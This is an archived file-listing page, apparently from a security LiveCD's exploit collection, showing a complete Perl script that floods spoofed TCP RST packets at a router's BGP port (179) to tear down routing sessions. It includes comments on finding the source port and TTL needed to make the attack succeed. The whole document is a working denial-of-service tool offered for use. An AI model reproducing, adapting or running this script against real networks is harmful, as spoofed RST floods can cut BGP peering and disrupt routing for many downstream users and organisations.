home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / bgp / bgp-dosv2.pl < prev   
Perl Script  |  2005-02-12  |  1KB  |  43 lines
  1. #!/usr/bin/perl
  2. #
  3. # Rich's BGP DOS!
  4. # version .02
  5. # Sends out RST flood to DOS BGP Connections
  6. #
  7. # Requires getopts.pl and Net:RawIP (http://www.ic.al.lg.ua/~ksv/)
  8. #
  9. #For this to work you must do a preceding scan to figure out what the source port and sequence number should be!
  10. #Cisco routers have a magic source port after reboot and all subsequent source ports are incremented by 1 or 512 depending on IOS
  11. #And also find out the hops to set the ttl w/ traceroute.  Per the RFC, the TTL must be 1 when it arrives at the router.
  12. #
  13. #
  14.  
  15. require 'getopts.pl';
  16. use Net::RawIP;
  17. Getopts('s:p:d:t:x');
  18. $a = new Net::RawIP;
  19. die "Usage $0 -s <spoofed source> -p <source port> -d <destination> -t <ttl>" unless ($opt_s && $opt_p && $opt_d && $opt_t);
  20.  
  21. $count=0;
  22.  
  23. while ($count < 4294967296) {
  24.  
  25. #Increment the count
  26.                 $count=$count + 16384;
  27.  
  28. #Create IP packet!
  29.                 $a->set({ ip => 
  30.                         {saddr => $opt_s,
  31.                         daddr => $opt_d,
  32.                         ttl => $opt_t
  33.                         },
  34. #Another TCP port could be specified here to do DOSes on other TCP services.  BGP is 179
  35.                         tcp=> {dest => 179,
  36.                         source => $opt_p,
  37.                         window =>  16384,
  38.                         seq => $count,
  39.                         rst => 1}
  40.                         });
  41. #Send it out!
  42.                 $a->send;
  43. }